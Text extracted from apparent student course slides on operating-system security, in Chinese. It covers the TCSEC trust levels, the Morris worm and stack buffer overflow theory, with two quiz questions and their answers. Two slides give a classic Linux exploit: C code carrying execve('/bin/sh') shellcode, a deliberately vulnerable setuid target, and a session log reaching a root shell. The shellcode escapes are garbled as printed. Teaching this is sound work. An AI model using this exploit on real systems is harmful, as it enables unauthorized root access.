作業系統14組
- 4. • 計算機安全由低到高分為四類七級:
D1 、 C1 、 C2 、 B1 、 B2 、 B3 、 A1 。
• D1 級:計算機安全的最低一級,不要求用戶進行用戶
登錄和密碼保護,任何人都可以使用,整個系統是不
可信任的,硬件軟件都易被侵襲。
• C1 級:自主安全保護級,要求硬件有一定的安全級
(如計算機帶鎖),用戶必須通過登錄認證方可使用
系統,並建立了訪問許可權限機制。
• C2 級:受控存取保護級,比 C1 級增加了幾個特性:
引進了受控訪問環境,進一步限制了用戶執行某些系
統指令;授權分級使系統管理員給用戶分組,授予他
們訪問某些程序和分級目錄的權限;采用系統審計,
跟蹤記錄所有安全事件及系統管理員工作。
- 9. 案例
第一個緩沖區溢位攻擊 --Morris 蠕蟲,發生在二十年前,它曾造成了全世界
6000 多臺網絡服務器癱瘓。
在當前網絡與分布式系統安全中,被廣泛利用的 50% 以上都是緩沖區溢位,
其中最著名的例子是 1988 年利用 fingerd 漏洞的蠕蟲。而緩沖區溢位中,最
為危險的是堆疊溢位,因為入侵者可以利用堆疊溢位,在函數返回時改變返回
程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰導致拒絕服務
,另外一種就是跳轉並且執行一段惡意代碼,比如得到 shell ,然後為所欲為
。
緩沖區溢位攻擊的目的在於擾亂具有某些特權運行的程序的功能,這樣可以使
得攻擊者取得程序的控制權,如果該程序具有足夠的權限,那麽整個主機就被
控制了。一般而言,攻擊者攻擊 root 程序,然後執行類似“ exec(sh )”的執行
代碼來獲得 root 權限的 shell 。為了達到這個目的,攻擊者必須達到如下的兩
個目標:
⒈ 在程序的地址空間裏安排適當的代碼。
⒉ 通過適當的初始化寄存器和內存,讓程序跳轉到入侵者安排的地址空間執
行。
攻擊目標
- 10. 攻擊實例 Linux 下的緩沖區溢位攻擊實例
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc,char **argv){
char large_string[128];
long *long_ptr = (long *) large_string;
int i;
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cxb0x0bx89xf3x8dx4ex08x8d"
"x56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) strtoul(argv[2],NULL,16 );
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i]; setenv("KIRIKA",large_string,1 );
execle(argv[1],argv[1],NULL,environ);
return 0;}
攻擊程序 exe.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv){
char buffer[96];
printf("- %p -n",&buffer);
strcpy(buffer,getenv("KIRIKA"));
return 0;}
攻擊對象 toto.c
- 11. 將上面兩個程序分別編譯為可執行程序,並且將 toto 改為屬主為 root 的 setuid 程序:
$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s
toto# ls -l exe toto-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*-rwsr-sr-x 1 root root
11269 Sep 28 20:20 toto*# exit
別忘了用 whoami 命令驗證一下我們的身份。其實 Linux 繼承了 UNⅨ 的一個習
慣,即普通用戶的命令提示符是以 $ 開始的,而超級用戶的命令提示符是以 #
開始的。
$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto
0xbffffc38- 0xbffffc38 -bash# whoamirootbash#
第一次一般不會成功,但是我們可以準確得知系統的漏洞所在―― 0xbffffc38 ,
第二次必然一擊斃命。當我們在新創建的 shell 下再次執行 whoami 命令時,我
們的身份已經是 root 了!由於在所有 UNⅨ 系統下黑客攻擊的最高目標就是對
root 權限的追求,因此可以說系統已經被攻破了。
我們模擬了一次 Linux 下緩沖區溢位攻擊的典型案例。 toto 的屬主為 root ,並
且具有 setuid 屬性,通常這種程序是緩沖區溢位的典型攻擊目標。普通用戶 wy
通過其含有惡意攻擊代碼的程序 exe 向具有缺陷的 toto 發動了一次緩沖區溢位
攻擊,並由此獲得了系統的 root 權限。
- 12. 兩道題目
資料段的屬性為( A ) 單選
A. 可寫與可執行 B. 唯讀 C. 唯寫 D. 可執行
在美國國防部制定的電腦系統信任評估標準中,電腦系統的安全分為( D )個等級
A. 1 B.2 C.3 D.4